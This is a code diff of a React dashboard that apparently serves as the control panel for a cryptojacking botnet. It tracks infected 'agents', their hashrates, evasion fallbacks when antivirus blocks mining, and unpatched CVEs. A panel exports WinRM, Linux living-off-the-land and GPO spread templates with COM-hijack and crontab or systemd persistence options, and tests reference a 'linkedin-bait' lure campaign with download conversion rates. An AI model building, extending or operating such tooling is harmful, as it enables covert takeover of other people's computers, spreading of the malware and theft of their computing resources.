margin-bottom: 0.35rem;
}
.lotl-attempts-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.2rem;
}
.lotl-attempt-row {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 0.35rem 0.5rem;
padding: 0.15rem 0;
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
}
.lotl-attempt-row:last-child {
border-bottom: none;
}
.lotl-attempt-icon {
width: 1rem;
flex-shrink: 0;
font-weight: 700;
}
.lotl-attempt-icon.ok { color: var(--neon-green); }
.lotl-attempt-icon.fail { color: #ff6666; }
.lotl-attempt-tier {
font-weight: 600;
color: #e8e8e8;
min-width: 5.5rem;
}
.lotl-attempt-dur {
color: var(--text-muted);
font-size: 0.68rem;
}
.lotl-attempt-err {
color: #ffaa88;
font-size: 0.68rem;
flex: 1 1 100%;
padding-left: 1.35rem;
word-break: break-word;
}
.lotl-attempts-empty {
color: var(--text-muted);
font-style: italic;
font-size: 0.72rem;
}

View File

@@ -0,0 +1,66 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import RiskBadge from './RiskBadge';
import JoinLaneBadge from './JoinLaneBadge';
import CredentialGraphTable from './CredentialGraphTable';
import { api } from '../../api/client';
vi.mock('../../api/client', () => ({
api: {
getCredentialGraph: vi.fn(),
getServiceGraph: vi.fn(),
},
}));
describe('Recon badges', () => {
afterEach(() => {
cleanup();
vi.clearAllMocks();
});
it('RiskBadge renders critical chip from vuln_findings', () => {
render(
<RiskBadge
findings={[{ cve_id: 'CVE-2021-44228', severity: 'critical', patched: false }]}
/>,
);
expect(screen.getByText('RISK CRIT')).toBeInTheDocument();
});
it('RiskBadge renders nothing when findings are patched', () => {
const { container } = render(
<RiskBadge findings={[{ cve_id: 'CVE-1', severity: 'high', patched: true }]} />,
);
expect(container.firstChild).toBeNull();
});
it('JoinLaneBadge renders lane label', () => {
render(<JoinLaneBadge lane="docker" />);
expect(screen.getByText('Docker')).toBeInTheDocument();
});
it('CredentialGraphTable shows subnet rows from API', async () => {
vi.mocked(api.getCredentialGraph).mockResolvedValue({
subnets: [
{ subnet: '10.0.1.x', edges: 5, success_count: 3, fail_count: 2 },
],
});
render(<CredentialGraphTable />);
await waitFor(() => {
expect(screen.getByText('10.0.1.x')).toBeInTheDocument();
});
expect(screen.getByText('5')).toBeInTheDocument();
expect(screen.getByText('3')).toBeInTheDocument();
});
it('CredentialGraphTable shows unavailable message on 404', async () => {
vi.mocked(api.getCredentialGraph).mockResolvedValue(null);
render(<CredentialGraphTable />);
await waitFor(() => {
expect(screen.getByText(/not available yet/i)).toBeInTheDocument();
});
});
});

View File

@@ -0,0 +1,108 @@
/* Fleet recon badges — mirrors LOTL chip tokens */
.risk-badge,
.cn-risk,
.join-lane-badge,
.war-room-join-lane-badge {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.cn-risk {
align-self: flex-start;
}
.risk-badge--critical,
.cn-risk.risk-critical {
color: #ff4466;
background: rgba(255, 50, 80, 0.14);
border: 1px solid rgba(255, 68, 102, 0.4);
}
.risk-badge--high,
.cn-risk.risk-high {
color: #ff8866;
background: rgba(255, 120, 40, 0.12);
border: 1px solid rgba(255, 136, 68, 0.35);
}
.risk-badge--medium,
.cn-risk.risk-medium {
color: var(--neon-amber, #ffb347);
background: rgba(255, 180, 60, 0.1);
border: 1px solid rgba(255, 180, 60, 0.3);
}
.risk-badge--low,
.cn-risk.risk-low {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.06);
border: 1px solid rgba(255, 255, 255, 0.12);
}
.join-lane-badge,
.war-room-join-lane-badge {
color: var(--neon-violet, #b388ff);
background: rgba(160, 100, 255, 0.12);
border: 1px solid rgba(160, 100, 255, 0.28);
}
.recon-graph-table {
width: 100%;
border-collapse: collapse;
font-family: var(--font-tech);
font-size: 0.74rem;
}
.recon-graph-table th,
.recon-graph-table td {
padding: 0.35rem 0.5rem;
text-align: left;
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
}
.recon-graph-table th {
color: var(--neon-cyan);
font-weight: 600;
letter-spacing: 0.08em;
font-size: 0.68rem;
}
.recon-graph-empty {
font-size: 0.72rem;
color: var(--text-muted);
margin: 0.25rem 0;
}
.recon-service-summary {
font-family: var(--font-tech);
font-size: 0.74rem;
}
.recon-service-list {
list-style: none;
margin: 0.35rem 0 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.recon-service-item {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
align-items: center;
}
.recon-service-name {
color: var(--neon-cyan);
}
.recon-service-meta {
color: var(--text-muted);
font-size: 0.68rem;
}

View File

@@ -0,0 +1,25 @@
import { riskFromVulnFindings } from '../../help/reconRisk';
import type { VulnFinding } from '../../types/recon';
import './ReconVisuals.css';
interface Props {
findings?: VulnFinding[];
variant?: 'card' | 'inline';
className?: string;
}
export default function RiskBadge({ findings, variant = 'card', className = '' }: Props) {
const info = riskFromVulnFindings(findings);
if (!info) return null;
const base = variant === 'card' ? 'cn-risk' : 'risk-badge';
return (
<span
className={`${base} risk-badge--${info.level} risk-${info.level} ${className}`.trim()}
title={info.title}
>
{info.label}
</span>
);
}

View File

@@ -0,0 +1,118 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import { ipToSubnet } from '../../help/reconRisk';
import type { ServiceGraphNode } from '../../types/recon';
import JoinLaneBadge from './JoinLaneBadge';
import './ReconVisuals.css';
interface Props {
agentId?: string;
agentIp?: string;
}
export default function ServiceGraphSummary({ agentId, agentIp }: Props) {
const subnet = ipToSubnet(agentIp);
const [services, setServices] = useState<ServiceGraphNode[] | null>(null);
const [loading, setLoading] = useState(false);
const [unavailable, setUnavailable] = useState(false);
useEffect(() => {
if (!agentId && !subnet) {
setServices(null);
setUnavailable(false);
return;
}
let cancelled = false;
setLoading(true);
void api
.getServiceGraph({ agentId, subnet })
.then((data) => {
if (cancelled) return;
if (!data) {
setUnavailable(true);
setServices([]);
return;
}
setServices(data.services ?? []);
setUnavailable(false);
})
.catch(() => {
if (!cancelled) {
setUnavailable(true);
setServices([]);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => {
cancelled = true;
};
}, [agentId, subnet]);
if (!agentId && !subnet) {
return (
<p className="recon-graph-empty">
Select one agent to view service graph for its subnet.
</p>
);
}
if (loading) {
return <p className="recon-graph-empty">Loading service graph</p>;
}
if (unavailable) {
return (
<p className="recon-graph-empty">
Service graph API not available run discover_and_join or service probe on this host.
</p>
);
}
if (!services?.length) {
return (
<p className="recon-graph-empty">
No enumerated services for {subnet || 'selected host'}.
</p>
);
}
const lanes = new Set(
services.map((s) => s.join_lane_candidate?.trim()).filter(Boolean) as string[],
);
return (
<div className="recon-service-summary">
<div className="recon-service-meta">
{subnet ? <span>{subnet}</span> : null}
{agentId ? <span>{subnet ? ' · ' : ''}{agentId.slice(0, 8)}</span> : null}
<span> · {services.length} service(s)</span>
</div>
{lanes.size > 0 ? (
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.35rem' }}>
{[...lanes].map((lane) => (
<JoinLaneBadge key={lane} lane={lane} />
))}
</div>
) : null}
<ul className="recon-service-list">
{services.slice(0, 12).map((s, i) => (
<li key={`${s.service_name}-${i}`} className="recon-service-item">
<span className="recon-service-name">{s.service_name}</span>
{s.port ? <span className="recon-service-meta">:{s.port}</span> : null}
{s.status ? <span className="recon-service-meta">{s.status}</span> : null}
{s.join_lane_candidate ? (
<JoinLaneBadge lane={s.join_lane_candidate} />
) : null}
</li>
))}
</ul>
{services.length > 12 ? (
<p className="recon-graph-empty">+{services.length - 12} more</p>
) : null}
</div>
);
}

View File

@@ -0,0 +1,96 @@
import { useState } from 'react';
import { api } from '../../api/client';
import { SPREAD_TEMPLATES, spreadTemplateZipName, type SpreadTemplateId } from '../../help/spreadTemplateExport';
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
export interface SpreadTemplateExportPanelProps {
serverBase: string;
buildId?: string;
campaign?: string;
}
export default function SpreadTemplateExportPanel({
serverBase,
buildId = '',
campaign = '',
}: SpreadTemplateExportPanelProps) {
const [template, setTemplate] = useState<SpreadTemplateId>('winrm');
const [comHijack, setComHijack] = useState(false);
const [lotlMode, setLotlMode] = useState('systemd_run_user');
const [busy, setBusy] = useState(false);
const [err, setErr] = useState('');
const meta = SPREAD_TEMPLATES.find((t) => t.id === template);
const onExport = async () => {
setErr('');
setBusy(true);
try {
await api.exportSpreadTemplate({
template,
server_url: serverBase,
build_id: buildId.trim(),
campaign: campaign.trim(),
com_hijack: comHijack,
lotl_mode: lotlMode,
});
} catch (e) {
setErr(e instanceof Error ? e.message : String(e));
} finally {
setBusy(false);
}
};
return (
<div className="crucible-spread-templates" style={{ marginTop: '0.75rem' }}>
<p className="crucible-seek-blurb" style={{ marginBottom: '0.5rem' }}>
Export spread templates (WinRM, Linux LOTL, GPO/Intune). Mining policy stays on the command deck.
{meta ? (
<>
{' '}
<a href={spreadTechniqueDocUrl(meta.docAnchor)} target="_blank" rel="noreferrer">
Playbook
</a>
</>
) : null}
</p>
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', alignItems: 'center' }}>
<select
className="crucible-inline-input"
value={template}
onChange={(e) => setTemplate(e.target.value as SpreadTemplateId)}
aria-label="Spread template"
>
{SPREAD_TEMPLATES.map((t) => (
<option key={t.id} value={t.id}>
{t.label}
</option>
))}
</select>
{template === 'winrm' ? (
<label style={{ display: 'inline-flex', alignItems: 'center', gap: '0.35rem', fontSize: '0.85rem' }}>
<input type="checkbox" checked={comHijack} onChange={(e) => setComHijack(e.target.checked)} />
COM hijack (owned only)
</label>
) : null}
{template === 'linux-lotl' ? (
<select
className="crucible-inline-input"
value={lotlMode}
onChange={(e) => setLotlMode(e.target.value)}
aria-label="LOTL persistence"
>
<option value="systemd_run_user">systemd-run --user</option>
<option value="crontab">crontab @reboot</option>
<option value="both">both</option>
<option value="off">run once only</option>
</select>
) : null}
<button type="button" className="button crucible-op-btn" disabled={busy || !serverBase.trim()} onClick={() => void onExport()}>
{busy ? 'Exporting…' : `Export ${spreadTemplateZipName(template)}`}
</button>
</div>
{err ? <p className="form-error" style={{ marginTop: '0.35rem' }}>{err}</p> : null}
</div>
);
}

View File

@@ -32,7 +32,6 @@ function operatorDeckId(pathname: string): string {
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
if (path.startsWith('/crucible')) return 'crucible';
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
if (path.startsWith('/agents')) return 'fleet';
if (path.startsWith('/builds')) return 'builds';
if (path.startsWith('/settings')) return 'settings';
if (path.startsWith('/pathtracer')) return 'pathtracer';
@@ -41,7 +40,6 @@ function operatorDeckId(pathname: string): string {
const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
@@ -53,7 +51,7 @@ const NAV = [
const DOCS_HREF = '/docs/';
/** Primary tabs on mobile bottom bar — Deck, Fleet, Crucible, Path Tracer, Forge */
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
const MOBILE_PRIMARY = NAV.slice(0, 5);
/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
const MOBILE_MORE = NAV.slice(5);
@@ -257,7 +255,6 @@ export default function Layout({ children }: LayoutProps) {
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
'/agents': 'Fleet',
'/crucible': 'Ops',
'/pathtracer': 'Tracer',
'/forge': 'Forge',

View File

@@ -27,6 +27,8 @@ function LaserPulse({ start, end, color }: { start: [number, number, number], en
}
const STALE_THRESHOLD_MS = 5 * 60 * 1000;
/** Cap 3D nodes to keep WebGL performant on large fleets. */
const TOPOLOGY_NODE_CAP = 200;
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
const isOnline = agent.status === 'online';
@@ -82,9 +84,16 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
const serverPos: [number, number, number] = [0, 0, 0];
const displayAgents = useMemo(() => {
if (agents.length <= TOPOLOGY_NODE_CAP) return agents;
const online = agents.filter((a) => a.status === 'online');
const pool = online.length >= TOPOLOGY_NODE_CAP ? online : agents;
return pool.slice(0, TOPOLOGY_NODE_CAP);
}, [agents]);
const capped = agents.length > TOPOLOGY_NODE_CAP;
const agentNodes = useMemo(() => {
return agents.map((agent, i) => {
return displayAgents.map((agent, i) => {
const goldenRatio = (1 + Math.sqrt(5)) / 2;
const angle = i * Math.PI * 2 * goldenRatio;
// Distribute in a spherical/cylindrical rough cluster
@@ -94,13 +103,14 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
const y = (Math.random() - 0.5) * 6;
return { agent, position: [x, y, z] as [number, number, number] };
});
}, [agents]);
}, [displayAgents]);
return (
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
3D_MESH_TOPOLOGY // {agents.filter(a => a.status === 'online').length} NODES LINKED
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
{capped && ` (showing ${TOPOLOGY_NODE_CAP}/${agents.length})`}
</div>
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
<color attach="background" args={['#050508']} />

View File

@@ -1,5 +1,5 @@
import { useEffect, useState, type CSSProperties } from 'react';
import type { WarRoomCampaign } from '../../types';
import type { Agent, WarRoomCampaign } from '../../types';
import {
detectFunnelLeaks,
formatHashrate,
@@ -9,6 +9,8 @@ import {
sparklineMax,
staggerDelayMs,
} from '../../help/warRoom';
import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry';
import JoinLaneBadge from '../Fleet/JoinLaneBadge';
import WarRoomOdometer from './WarRoomOdometer';
interface WarRoomFunnelBoardProps {
@@ -16,9 +18,18 @@ interface WarRoomFunnelBoardProps {
days: number;
refreshKey?: string;
highlightCampaign?: string | null;
campaignAgents?: Record<string, Agent[]>;
maxLiveHashrate?: number;
}
export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highlightCampaign }: WarRoomFunnelBoardProps) {
export default function WarRoomFunnelBoard({
campaigns,
days,
refreshKey,
highlightCampaign,
campaignAgents = {},
maxLiveHashrate = 0,
}: WarRoomFunnelBoardProps) {
const [alive, setAlive] = useState(false);
useEffect(() => {
@@ -39,14 +50,24 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
const primaryLeak = leaks[0];
const max = sparklineMax(c.daily_hits);
const hits = c.hits ?? 0;
const heat = hashHeatIntensity(c.hashrate ?? 0, maxLiveHashrate || c.hashrate || 0);
const agents = campaignAgents[c.campaign] ?? [];
const onlineAgents = agents.filter((a) => a.status === 'online');
return (
<article
key={c.campaign}
id={`war-room-campaign-${c.campaign}`}
className={`war-room-funnel-card${highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''}`}
className={`war-room-funnel-card${
highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''
}${heat > 0 ? ' war-room-funnel-card--heat' : ''}`}
role="listitem"
style={{ '--card-stagger': `${cardIndex * 0.12}s` } as CSSProperties}
style={
{
'--card-stagger': `${cardIndex * 0.12}s`,
'--hash-heat': heat,
} as CSSProperties
}
>
<header className="war-room-funnel-card-head">
<div>
@@ -77,6 +98,23 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
</div>
</header>
{onlineAgents.length > 0 ? (
<div className="war-room-agent-tags" aria-label="Live campaign agents">
{onlineAgents.slice(0, 8).map((a) => {
const tier = lotlTierLabel(a.lotl_tier);
return (
<span key={a.id} className="war-room-agent-tag" title={a.name}>
<span className="war-room-agent-tag-name">{a.name}</span>
{tier ? <span className="war-room-lotl-badge">{tier}</span> : null}
{a.join_lane ? (
<JoinLaneBadge lane={a.join_lane} className="war-room-join-lane-badge" />
) : null}
</span>
);
})}
</div>
) : null}
<div className="war-room-funnel-pipeline" aria-label="Campaign funnel">
{stages.map((stage, idx) => (
<div key={stage.id} className="war-room-funnel-stage">

View File

@@ -456,6 +456,46 @@ describe('AgentRemoteActions', () => {
});
expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
});
it('shows LOTL tier badge in target header when lotl_tier is set', async () => {
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions
agent={mockAgent({ id: 'lotl-1', name: 'Tier Node', status: 'online', lotl_tier: 'container' })}
online
/>
</MemoryRouter>,
);
await waitFor(() => {
expect(screen.getByText('LOTL Container')).toBeInTheDocument();
});
});
it('shows mining method in live stats when active_method is set', async () => {
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions
agent={mockAgent({
id: 'mine-1',
name: 'Miner Node',
status: 'online',
hashrate_15s: 500,
cpu_usage_pct: 40,
memory_usage_pct: 30,
active_method: 'inprocess',
stratum_overlay: true,
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
})}
online
showLiveStats
/>
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByText(/Mining inprocess\+stratum/i)).toBeInTheDocument();
});
expect(screen.getByText(/Fallback container failed/i)).toBeInTheDocument();
});
});
describe('AgentListItem', () => {
@@ -881,6 +921,6 @@ describe('Layout', () => {
expect(screen.getByText('page body')).toBeInTheDocument();
});
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
});
});

View File

@@ -232,4 +232,108 @@ describe('WebSocketProvider', () => {
unmount();
expect(closeSpy).toHaveBeenCalled();
});
it('applies stats_batch mining fields to agents', async () => {
const agent = mockAgent({ id: 'batch-1', active_method: undefined });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
latestSocket().emitMessage({
type: 'stats_batch',
payload: {
updates: [
{
agent_id: 'batch-1',
hashrate_15s: 250,
hashrate_1m: 240,
hashrate_15m: 230,
cpu_usage_pct: 55,
active_method: 'inprocess',
stratum_overlay: true,
chain_exhausted: false,
mining_hashrate: 850,
lotl_tier: 'tier-2',
},
],
},
});
});
expect(result.current.agents[0].hashrate_15s).toBe(250);
expect(result.current.agents[0].active_method).toBe('inprocess');
expect(result.current.agents[0].stratum_overlay).toBe(true);
expect(result.current.agents[0].mining_hashrate).toBe(850);
expect(result.current.agents[0].lotl_tier).toBe('tier-2');
});
it('applies stats_batch lotl_attempts to agents', async () => {
const agent = mockAgent({ id: 'batch-lotl' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
latestSocket().emitMessage({
type: 'stats_batch',
payload: {
updates: [
{
agent_id: 'batch-lotl',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
lotl_tier: 'cpu_inprocess',
lotl_attempts: [
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 600 },
{ tier: 'cpu_inprocess', ok: true, duration_ms: 1100 },
],
},
],
},
});
});
expect(result.current.agents[0].lotl_tier).toBe('cpu_inprocess');
expect(result.current.agents[0].lotl_attempts).toHaveLength(2);
expect(result.current.agents[0].lotl_attempts?.[1].ok).toBe(true);
});
it('applies emberwake_war_room WS payload', async () => {
const warRoomPayload = {
generated_at: '2026-06-06T15:00:00.000Z',
days: 7,
campaigns: [
{
campaign: 'linkedin-bait',
hits: 42,
downloads: 10,
agents: 3,
online: 2,
hashrate: 1500,
conversion_pct: 7.1,
daily_hits: [1, 2, 3, 4, 5, 6, 7],
},
],
};
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({
type: 'emberwake_war_room',
payload: warRoomPayload,
});
});
expect(result.current.latestMessage?.type).toBe('emberwake_war_room');
expect(result.current.latestMessage?.payload).toEqual(warRoomPayload);
expect(result.current.latestMessage?.payload.campaigns[0].campaign).toBe('linkedin-bait');
expect(result.current.latestMessage?.payload.campaigns[0].hits).toBe(42);
});
});

View File

@@ -1,9 +1,11 @@
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
import { WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
import { applyStatsUpdates } from '../help/applyStatsUpdate';
import type {
WSDashboardInit,
WSAgentOffline,
WSStatsUpdate,
WSStatsBatch,
WSCommandResult,
WSAgentLog,
WSPolicyAck,
@@ -172,64 +174,14 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
case 'stats_update': {
const update = msg.payload as WSStatsUpdate;
setAgents((prev) => {
const idx = prev.findIndex((a) => a.id === update.agent_id);
if (idx < 0) return prev;
if (agentStatsUnchanged(prev[idx], update)) return prev;
return prev.map((a) =>
a.id === update.agent_id
? {
...a,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
shares_total: update.shares_submitted ?? a.shares_total,
shares_good: update.shares_accepted ?? a.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
}
: a,
);
});
setAgents((prev) => applyStatsUpdates(prev, [update]));
break;
}
case 'stats_batch': {
const batch = msg.payload as WSStatsBatch;
if (Array.isArray(batch?.updates) && batch.updates.length > 0) {
setAgents((prev) => applyStatsUpdates(prev, batch.updates));
}
break;
}
case 'new_share': {

View File

@@ -0,0 +1,133 @@
import { describe, expect, it } from 'vitest';
import type { Agent } from '../types';
import { applyStatsUpdates } from './applyStatsUpdate';
const baseAgent = (): Agent => ({
id: 'a1',
name: 'node',
wallet: '',
ip: '10.0.0.1',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: new Date().toISOString(),
created_at: new Date().toISOString(),
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 10,
memory_usage_pct: 20,
uptime_seconds: 60,
});
describe('applyStatsUpdates', () => {
it('applies batch updates in one pass', () => {
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', hashrate_15m: 50 }];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 200, hashrate_1m: 200, hashrate_15m: 200, cpu_usage_pct: 15 },
{ agent_id: 'a2', hashrate_15s: 80, hashrate_1m: 80, hashrate_15m: 80, cpu_usage_pct: 5 },
]);
expect(next[0].hashrate_15m).toBe(200);
expect(next[1].hashrate_15m).toBe(80);
});
it('returns same reference when nothing changed', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10 },
]);
expect(next).toBe(agents);
});
it('merges mining cascade fields from stats_batch updates', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
active_method: 'inprocess',
stratum_overlay: true,
chain_exhausted: false,
chain_order: ['container', 'inprocess', 'stratum_direct'],
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
last_error: 'container start blocked',
},
]);
expect(next[0].active_method).toBe('inprocess');
expect(next[0].stratum_overlay).toBe(true);
expect(next[0].chain_order).toEqual(['container', 'inprocess', 'stratum_direct']);
expect(next[0].failed_methods).toHaveLength(1);
expect(next[0].last_error).toBe('container start blocked');
});
it('applies batch mining updates for multiple agents', () => {
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', name: 'node-b' }];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10, active_method: 'container' },
{ agent_id: 'a2', hashrate_15s: 50, hashrate_1m: 50, hashrate_15m: 50, cpu_usage_pct: 5, chain_exhausted: true },
]);
expect(next[0].active_method).toBe('container');
expect(next[1].chain_exhausted).toBe(true);
});
it('merges vuln_findings and vuln_risk_score from stats_batch', () => {
const agents = [{ ...baseAgent(), id: 'v1', name: 'Vuln Node' }];
const next = applyStatsUpdates(agents, [
{
agent_id: 'v1',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
cpu_usage_pct: 0,
vuln_risk_score: 42,
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
},
]);
expect(next[0].vuln_risk_score).toBe(42);
expect(next[0].vuln_findings?.[0].cve_id).toBe('CVE-2021-26855');
});
it('merges mining_hashrate and lotl_tier from stats_batch', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
mining_hashrate: 850,
lotl_tier: 'tier-1',
},
]);
expect(next[0].mining_hashrate).toBe(850);
expect(next[0].lotl_tier).toBe('tier-1');
});
it('merges lotl_attempts from stats_batch', () => {
const agents = [baseAgent()];
const attempts = [
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 400 },
{ tier: 'cpu_inprocess', ok: true, duration_ms: 900 },
];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
lotl_tier: 'cpu_inprocess',
lotl_attempts: attempts,
},
]);
expect(next[0].lotl_attempts).toEqual(attempts);
});
});

View File

@@ -0,0 +1,82 @@
import type { Agent } from '../types';
import type { WSStatsUpdate } from '../types/ws';
import { agentStatsUnchanged } from './wsStatsCoalesce';
/** Merge one stats_update payload into an agent row. */
